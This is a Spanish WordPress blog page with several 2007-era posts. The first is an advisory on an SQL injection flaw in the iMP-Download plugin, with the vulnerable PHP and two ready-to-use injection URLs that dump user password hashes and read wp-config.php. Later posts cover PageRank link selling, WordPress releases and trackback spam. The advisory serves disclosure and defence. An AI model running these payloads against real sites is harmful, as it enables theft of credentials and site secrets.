Categories
Seguridad Sql Injection Web WordPress

Eviten el uso del plugin iMP-Download para WordPress

Esta entrada que escribí meses atrás iba a quedar como borrador, pero visto las repercusiones en blogs hispanos sobre un supuesto nuevo problema de seguridad de WordPress, publico esta entrada porque el sitio afectado usaba este plugin -- no tengo idea si esto tiene relación con el ataque que sufrió.

En las primeras líneas del plugin iMP-Download, se puede apreciar el siguiente código:

php:

<?php
/*
Plugin Name: iMP Download
Version: 1.4.1
Plugin URI: http://www.inmypad.com/2007/01/wordpress-plugins-imp-download/
Author: Hardi P
Author URI: http://www.inmypad.com/
Description: Download manager for wordpress user featuring download count, force download, quicktag, members only, widgets, etc. Integrated with search engine to find your downloads easily and pagination on download list.
*/

if (isset($_GET['dl'])) {
        global $wpdb, $table_prefix;
       
        // require_once('../../../wp-blog-header.php');
        $option = get_option('iMP_Download_Option');
       
        $user_login = $_COOKIE['wordpressuser_' . COOKIEHASH];

        if ($option['dl_mo'] == 1 && !$user_login) {
                $login = get_settings('siteurl') . '/wp-login.php';
        ?>
                script type="text/javascript">
                        var mo = confirm("Guest are not allowed to download!" + "\n" + "Press 'OK' to login/register or press 'CANCEL' to go back.")
                        if (mo == true) {
                                window.location = "<?php echo $login; ?>";
                    } else {
                                window.location = document.referrer;
                        }
                </script
        <?php
                exit();
        }
       
        $dl_id = $_GET['dl'];
        $table_name = $table_prefix . 'imp_download';
       
        $wpdb->query("UPDATE $table_name SET dl_count=dl_count+1 WHERE dl_id='$dl_id'");
       
        $url = "SELECT dl_url FROM $table_name WHERE dl_id = $dl_id";
        $file = $wpdb->get_var($url);

        $file = str_replace(' ','%20',$file);
        $filename = basename($file);
       
        $mimetype = 'application/octet-stream'// Set mime-type
        header("Pragma: "); // Leave blank for issues with IE
        header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
        header("Content-Type: $mimetype");
        if ($option['dl_fd'] == 1) {
                if (ini_get('allow_url_fopen') == 0 && !function_exists('curl_init')) {
                        header('Location: '.$file.''); // Switch to normal download mode if allow_url_fopen is disabled and cURL is not available
                } else {
                        header('Content-Disposition: attachment; filename='.basename($filename)); // Force download activated
                }
               
                if (ini_get('allow_url_fopen') == 1) {
                        $file = fopen($file, "rb");
                        fpassthru($file);
                        exit();
                } elseif (function_exists('curl_init')) {
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, $file);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_exec ($ch);
                        curl_close ($ch);
                        exit();
                }
        } else {
                header('Location: '.$file.''); // Force download deactivated
                exit();
        }
}

Como se puede apreciar en las líneas 34 y 39, el parámetro dl no es validado adecuadamente; ésto permite que cualquier usuario pueda realizar ataques de inyección de SQL y hacer muchas cosas como:

code:

* Obtener el usuario y contraseña de cualquier usuario
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/concat(user_login,0x2d,user_pass)/**/FROM/**/wp_users/**/WHERE/**/ID=1

* Si allow_url_fopen está habilitado, existe la posibilidad de descargar cualquier archivo del servidor (./wp-config.php)
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/0x2E2F77702D636F6E6669672E706870

Dada la gravedad del problema, es recomendable que desactiven -- o corrijan -- cuanto antes el mencionado plugin.

Categories
Google Web

¿Continuar con la venta de enlaces?

Se habló mucho sobre los últimos sucesos relacionados al PageRank e incluso Matt Cuts parece confirmar lo que todos venían comentando:

The partial update to visible PageRank that went out a few days ago was primarily regarding PageRank selling and the forward links of sites. So paid links that pass PageRank would affect our opinion of a site.

Going forward, I expect that Google will be looking at additional sites that appear to be buying or selling PageRank.

No tengo idea si el PageRank en realidad afecta al posicionamiento o sólo es un adorno, pero en el hipotético caso en que continúen las penalizaciones y el PageRank tenga importancia, supongo que sitios/blogs como éste se verían afectados debido a que algo más del 84% de las visitas proviene de Google:

Estadística de visitas
Detalle de la estadística de visitas

Actualmente, el ingreso mensual de la venta de dos enlaces es mayor a los ingresos que reporta este blog con AdSense (el cual, por suerte todavía cubre los gastos de hosting), pero como están las cosas, dejaré de vender enlaces a través de Text Link Ads, puesto que al fin y al cabo no seré millonario vendiendo enlaces.

Las pocas personas* que lean esta entrada y se encuentren en esta situación ¿continuarán con la venta de enlaces?

*: Viendo los gráficos, supongo que ahora me creerán cuando digo que éste sitio tiene pocos seguidores. 🙂

Categories
Web WordPress

Beta1 de WordPress 2.3.1

Actualización: Ya está disponible la versión final de WordPress 2.3.1.

Acaban de anunciar la liberación de la primera versión menor de la rama WordPress 2.3, que entre otras cosas trae las siguientes mejoras y correcciones a fallas:

  • Soporte nativo para agregar tags desde Windows Live Writer.
  • Mejora de rendimiento para realizar las intersecciones de tags y categorías.
  • Corrección de un bug en la edición y creación de páginas (no se escapaba el HTML).
  • Corrección a la vulnerabilidad -- que algunos la consideran erróneamente "grave" -- que permite a usuarios registrados agregar enlaces al blogroll, para blogs donde el registro de usuarios no está habilitado este problema es inofensivo.

Pueden ver una lista más completa de problemas solucionados en la página de registro de bugs.

Descargas

Categories
Spam Web WordPress

Spam y Trackbacks

En el último incidente que tuve me recomendaron varias alternativas para reducir el spam que llega a este blog y desde el momento que puse en práctica algunas de éstas (cambiar el nombre de uno de los campos de los comentarios), el número de comentarios spam enviados directamente a wp-comments-post.php literalmente desapareció, pero todavía siguen llegando trackbacks no válidos.

En base a un archivo modificado de wp-trackback.php que me envió Maty, hice unos cambios a éste para que haga casi lo mismo que el plugin Trackback Validator, que básicamente verifica que el sitio que envía la petición contenga un enlace recíproco a la entrada a la que se hace referencia (ver el paper para mayores detalles). La limitación de este método, tal y como reconoce una de las personas que participó en ese proyecto, es que puede evadirse fácilmente de diferentes modos (con CSS, comentarios HTML, JavaScript, generación dinámica de contenidos, etc).

Estos días estuve recibiendo spam de distintos sitios (supongo del mismo spammer), que generan temporalmente enlaces para los trackbacks que envían, logrando de este modo pasar las validaciones de la presencia de enlaces recíprocos, vean por ejemplo las últimas líneas que aparecen en el siguiente log de acciones:

code:

[2007-09-26 06:29:52] 64.22.110.2
[2007-09-26 06:29:52] Array
(
    [title] => Web Hosting Reviews, Web Site Hosting
    [url] => http://sitio_eliminado/
    [excerpt] => I couldn\'t understand some parts of this article, but it sounds interesting
    [blog_name] => Web Hosting Reviews, Web Site Hosting
)

[2007-09-26 06:29:55] http\://www\.buayacorp\.com/archivos/edicion-12-de-architechture-journal/

[2007-09-26 06:29:55] Array
(
    [0] => <a href='http://www.buayacorp.com/archivos/edicion-12-de-architechture-journal/trackback/'>link 3656</a>
    [1] => link 3656
)

Una forma de mejorar este método de verificación de trackbacks supongo que sería añadiendo una lista negra de dominios/IP/palabras, aunque en realidad no sé si valga la pena implementar algo así por el momento, puesto que los comentarios/trackbacks que logran saltar esta primera comprobación, son capturados Akismet.

Categories
Seguridad Web WordPress

WordPress 2.2.3

Actualización: Ya publicaron el anuncio oficial, que por cierto me causa un poco de gracia porque mencionan mi nombre y el nick que uso para reportar vulnerabilidades más leves. 😀

Finalmente ya está disponible la versión 2.2.3 de WordPress, que corrige múltiples problemas de seguridad, entre los cuales, uno permite obtener los datos de cualquier usuario de un blog afectado.

Los archivos que cambian con respecto a la anterior versión son:

  • wp-includes/default-filters.php
  • wp-includes/plugin.php
  • wp-includes/query.php
  • wp-includes/formatting.php
  • wp-includes/feed-rss2-comments.php
  • wp-includes/rewrite.php
  • wp-includes/version.php
  • wp-includes/pluggable.php
  • wp-includes/widgets.php
  • wp-includes/rss.php
  • wp-includes/vars.php
  • xmlrpc.php
  • wp-mail.php
  • wp-admin/admin-ajax.php
  • wp-admin/admin-functions.php
  • wp-admin/rtl.css
  • wp-admin/options.php
  • wp-admin/install-rtl.css
  • wp-admin/widgets-rtl.css

Cualquiera que esté usando WordPress 2.2.2 o versiones anteriores con permalinks habilitadas (a.k.a URL's amigables), tiene que actualizar si o si a la versión que acaban de liberar o a la beta 2 de WordPress 2.3, si no lo hace, por lo menos debe bloquear el acceso a xmlrpc.php.

Por otro lado, también me comentan que liberarán una nueva versión de WordPress MU en los próximos días.